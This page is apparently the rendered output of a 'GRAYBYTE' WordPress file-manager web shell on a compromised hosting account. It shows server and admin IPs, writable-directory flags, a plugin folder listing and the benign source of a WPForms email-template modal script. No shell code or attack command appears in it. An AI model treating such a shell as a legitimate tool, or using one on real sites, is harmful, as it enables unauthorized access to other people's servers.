$85 GRAYBYTE WORDPRESS FILE MANAGER $39

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.217.254 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/home/bravrvjk/dantho.rw/wp-content/plugins/wpforms-lite/assets/js/admin/builder/

HOME
Current File : /home/bravrvjk/dantho.rw/wp-content/plugins/wpforms-lite/assets/js/admin/builder//email-template.js
/* eslint-disable camelcase */
/* global wpforms_builder_email_template */

// noinspection ES6ConvertVarToLetConst
/**
 * Script for manipulating DOM events in the "Builder" settings page.
 * This script will be accessible in the "WPForms" → "Builder" → "Notifications" tab/page.
 *
 * @since 1.8.5
 */
// eslint-disable-next-line no-var
var WPFormsBuilderEmailTemplate = window.WPFormsBuilderEmailTemplate || ( function( document, window, $, l10n ) {
	/**
	 * Elements holder.
	 *
	 * @since 1.8.5
	 *
	 * @type {Object}
	 */
	const el = {};

	/**
	 * Runtime variables.
	 *
	 * @since 1.8.5
	 *
	 * @type {Object}
	 */
	const vars = {
		/**
		 * Modal instance.
		 *
		 * @since 1.8.5
		 */
		modal: null,

		/**
		 * Generic CSS class names for applying visual changes.
		 *
		 * @since 1.8.5
		 */
		classNames: {
			modalBox: 'wpforms-modal-content-box',
			modalOpen: 'wpforms-email-template-modal-open',
		},
	};

	/**
	 * Public functions and properties.
	 *
	 * @since 1.8.5
	 */
	const app = {

		/**
		 * Start the engine.
		 *
		 * @since 1.8.5
		 */
		init() {
			$( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.8.5
		 */
		ready() {
			app.setup();
			app.bindEvents();
		},

		/**
		 * Setup. Prepare some variables.
		 *
		 * @since 1.8.5
		 */
		setup() {
			// Cache DOM elements.
			el.$document = $( document );
			el.$body = $( 'body' );
		},

		/**
		 * Bind events.
		 *
		 * @since 1.8.5
		 */
		bindEvents() {
			el.$document
				.on( 'change', '.wpforms-email-template-modal-content input[type="radio"]', app.handleOnChangeTemplate )
				.on( 'click', '.wpforms-all-email-template-modal', app.handleOnOpenModal );
		},

		/**
		 * Handle the "change" event for the template radio buttons.
		 * This function updates the select field based on the selected radio button.
		 *
		 * @since 1.8.5
		 *
		 * @param {Object} event The DOM event that triggered the function.
		 */
		handleOnChangeTemplate( event ) {
			// Prevent the default action, which is to handle the change event.
			event.preventDefault();

			// Extract the ID of the field from the element.
			const id = app.getIdFromElm( $( this ) );

			// Get the corresponding select field.
			const $field = $( `#wpforms-panel-field-notifications-${ id }-template` );

			// If the select field doesn't exist, no further action is needed.
			if ( ! $field.length ) {
				return;
			}

			// If the modal doesn't exist, no further action is needed.
			if ( ! vars.modal ) {
				return;
			}

			// Get the value of the radio button that triggered the change.
			const value = $( this ).val();

			// Update the select field with the selected value and trigger the change event.
			$field.val( value ).trigger( 'change' );

			// Close the modal.
			vars.modal.close();
		},

		/**
		 * Handle the "click" event for opening the modal.
		 * This will open the modal with the available templates.
		 *
		 * @since 1.8.5
		 */
		handleOnOpenModal() {
			// Get the email template modal template.
			const template = wp.template( 'wpforms-email-template-modal' );

			// If the template doesn't exist, exit the function.
			if ( ! template.length ) {
				return;
			}

			// Find the closest wrapper and select element.
			const $wrapper = $( this ).closest( '.wpforms-panel-field-email-template-wrap' );
			const $select = $wrapper.find( 'select' );

			// Get the selected value from the select element and its ID.
			const selected = $select.val() || '';
			const id = app.getIdFromElm( $select );

			// Extract relevant data from l10n.
			const { templates, is_pro } = l10n;

			// Prepare the data to be passed to the template.
			const data = { templates, selected, is_pro, id };

			// Generate the modal's content using the template and data.
			const content = template( data );

			// Open the modal.
			vars.modal = $.confirm( {
				content,
				title: '',
				boxWidth: 800,
				contentMaxHeight: 'none',
				backgroundDismiss: true,
				smoothContent: false,
				closeIcon: true,
				buttons: false,
				// Callback function before the modal opens.
				onOpenBefore() {
					this.$body.addClass( vars.classNames.modalBox );
					el.$body.addClass( vars.classNames.modalOpen );
				},
				// Callback function when the modal is closed.
				onClose() {
					el.$body.removeClass( vars.classNames.modalOpen );
				},
			} );
		},

		/**
		 * Get the ID from the element.
		 * This is a helper function for extracting the numeric ID from an element's ID attribute.
		 *
		 * @since 1.8.5
		 *
		 * @param {Object} $elm jQuery object representing the element.
		 *
		 * @return {number} The numeric ID extracted from the element's ID attribute.
		 */
		getIdFromElm( $elm ) {
			// Get the ID attribute from the element.
			const id = $elm.attr( 'id' );

			// If no ID attribute is found, return 0.
			if ( ! id ) {
				return 0;
			}

			// Extract and parse the numeric part from the ID.
			return parseInt( id.match( /\d+/ )[ 0 ], 10 );
		},
	};

	// Provide access to public functions/properties.
	return app;
}( document, window, jQuery, wpforms_builder_email_template ) );

// Initialize.
WPFormsBuilderEmailTemplate.init();


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
6 Nov 2025 10.43 AM
bravrvjk / bravrvjk
0755
fields
--
6 Nov 2025 10.43 AM
bravrvjk / bravrvjk
0755
themes
--
6 Nov 2025 10.43 AM
bravrvjk / bravrvjk
0755
admin-builder-providers.js
17.4 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
admin-builder-providers.min.js
8.256 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
admin-builder.js
300.243 KB
25 Sep 2025 3.01 PM
bravrvjk / bravrvjk
0644
admin-builder.min.js
136.797 KB
25 Sep 2025 3.01 PM
bravrvjk / bravrvjk
0644
chocolate-choices.js
2.279 KB
17 Jun 2025 1.49 PM
bravrvjk / bravrvjk
0644
chocolate-choices.min.js
0.459 KB
17 Jun 2025 1.49 PM
bravrvjk / bravrvjk
0644
choices-list.js
3.695 KB
17 Jun 2025 1.49 PM
bravrvjk / bravrvjk
0644
choices-list.min.js
0.697 KB
17 Jun 2025 1.49 PM
bravrvjk / bravrvjk
0644
context-menu.js
18.105 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
context-menu.min.js
7.991 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
drag-fields.js
24.146 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
drag-fields.min.js
9.427 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
dropdown-list.js
9.758 KB
24 Apr 2025 2.53 PM
bravrvjk / bravrvjk
0644
dropdown-list.min.js
3.772 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
email-template.js
5.023 KB
7 Nov 2024 5.15 PM
bravrvjk / bravrvjk
0644
email-template.min.js
1.414 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
field-map.js
6.438 KB
31 Jul 2025 2.13 PM
bravrvjk / bravrvjk
0644
field-map.min.js
2.316 KB
31 Jul 2025 2.13 PM
bravrvjk / bravrvjk
0644
form-templates.js
19.356 KB
7 Nov 2024 5.15 PM
bravrvjk / bravrvjk
0644
form-templates.min.js
8.106 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
help.js
11.301 KB
16 Jan 2025 5.57 PM
bravrvjk / bravrvjk
0644
help.min.js
4.898 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
image-upload.js
4.437 KB
11 Aug 2025 1.38 PM
bravrvjk / bravrvjk
0644
image-upload.min.js
1.973 KB
11 Aug 2025 1.38 PM
bravrvjk / bravrvjk
0644
panel-loader.js
4.952 KB
29 Feb 2024 5.17 PM
bravrvjk / bravrvjk
0644
panel-loader.min.js
2.199 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
payments-utils.js
3.411 KB
24 Apr 2025 2.53 PM
bravrvjk / bravrvjk
0644
payments-utils.min.js
1.917 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
providers.js
34.674 KB
31 Jul 2025 2.13 PM
bravrvjk / bravrvjk
0644
providers.min.js
12.491 KB
31 Jul 2025 2.13 PM
bravrvjk / bravrvjk
0644
search-fields.js
4.562 KB
29 Feb 2024 5.17 PM
bravrvjk / bravrvjk
0644
search-fields.min.js
2.449 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
settings.js
11.145 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
settings.min.js
4.707 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
setup.js
19.813 KB
7 Nov 2024 5.15 PM
bravrvjk / bravrvjk
0644
setup.min.js
9.322 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
smart-tags.js
44.823 KB
25 Sep 2025 3.01 PM
bravrvjk / bravrvjk
0644
smart-tags.min.js
14.917 KB
25 Sep 2025 3.01 PM
bravrvjk / bravrvjk
0644
templates.js
3.975 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
templates.min.js
1.054 KB
5 Jun 2025 4.54 PM
bravrvjk / bravrvjk
0644
wpforms-choicesjs.js
8.002 KB
14 Oct 2025 3.49 PM
bravrvjk / bravrvjk
0644
wpforms-choicesjs.min.js
2.569 KB
14 Oct 2025 3.49 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF